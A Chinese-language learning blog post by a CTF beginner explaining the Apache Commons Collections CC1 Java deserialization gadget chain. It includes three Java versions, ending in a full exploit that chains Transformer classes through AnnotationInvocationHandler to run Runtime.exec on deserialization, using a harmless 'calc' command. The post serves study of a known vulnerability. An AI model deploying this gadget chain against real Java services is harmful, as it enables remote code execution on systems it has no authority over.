来劲了，感觉离真正的CTF又近了一步。

本文仅从一个萌新的角度去谈，如有纰漏，纯属蒟蒻。

目录

CC链概念

CC链学习前置知识

CC1链

Version1

Version2

Version3

---

CC链概念

CC链  Commons Collections apache组织发布的开源库

里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList

总结一下CC链：就是有反序列化入口，同时有cc库的情况下，如何进行rce或者文件读取

CC链学习前置知识

Transformer

特征  

1 是一个接口
2 有一个transformer方法，传入一个参数object，穿出一个参数object
3 有点像 转接头  扩展坞

实现类

ConstantTransformer  常量转换器   传入任何值 传出的，都是固定值

InvokerTransformer  反射调用转换器   传入方法名，方法参数类型 方法参数  进行反射调用

ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法

新的数据结构

TransformerMap  分别可以对 key 和value 执行构造参数里面的transformer转换

CC1链

网上资源有很多，就不班门弄斧了，更多去谈自己做的过程的想法。

贴出一篇：CC1链详解

总结一下就是下面这些步骤

1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法

2 将ChainedTransformer放入TransformerMap后，只要调用TransformerMap的checkSetValue方法，就能够调用value对象的transform方法从而RCE

3 我们要找到一个类，它的属性可以设置为 TransformerMap ，然后它调用了这个属性的checkSetValue方法

4 找到了AnnotationInvocationHandler类，里面的readObject方法 调用了setValue方法

5 setValue方法调用了 TransformerMap 的checkValue方法

6 checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

我做了三个版本迭代，前两个版本不涉及反序列化，就是自己测一测，其中第二个版本后作死尝试尝试去走put触发transform方法，最终失败，于是老老实实走了前人的大路。

Version1

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Test1 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});chainedTransformer.transform("Z3r4y");}
}

这里其实就是利用ChainedTransformer的特性，把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性，Object进，Object出)传递给下一个transformer对象，作为其transform方法调用的参数，以此类推。

再加上ConstantTransformer无论输入什么值，输出的值都是可控的定值的特性，即可以传递给下一个transformer类一个可控的对象

 配合InvokerTransformer（调用方法，参数类型，参数均可控），便可以执行任意类的任意方法

这个版本告诉我们只要可以触发ChainedTransformer的transform方法，就可以触发一条链的transform方法，最终实现RCE

Version2

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;public class Test2 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});HashMap hashMap = new HashMap();TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);transformedMap.put("Z3r4y","aaa");}
}

这里就是尝试找办法触发ChainedTransformer的transform方法，借鉴前人我们用了HashMap和transformedMap这两个数据结构，然后神奇的发现，transformedMap在修饰HashMap的kv对时，会分别调用传入Transformer对象的transform方法。

我们已经找到可以触发Version1的方法，但这还是不能达到可配合反序列化的目的，按思路走，我们下一步应该找一个类的readObject方法，其中调用同名的put方法。

Version3

绷不住了，就这卡的时间最长，确实没找到调用put的readObject方法，选择放弃未必不是明智之举。

下面都是说烂的东西

AnnotationInvocationHandler类，里面的readObject方法 调用了setValue方法

setValue方法调用了 TransformerMap 的checkValue方法

checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class exp {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer chainedTransformer = new ChainedTransformer(transformers);HashMap hashMap = new HashMap();hashMap.put("value", "xxx");TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Retention.class, transformedMap);byte[] data = SerializeUtil.serialize(instance);SerializeUtil.unSerialize(data);}
}

序列化反序列化的工具类：

package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);Object o = objectInputStream.readObject();return o;}
}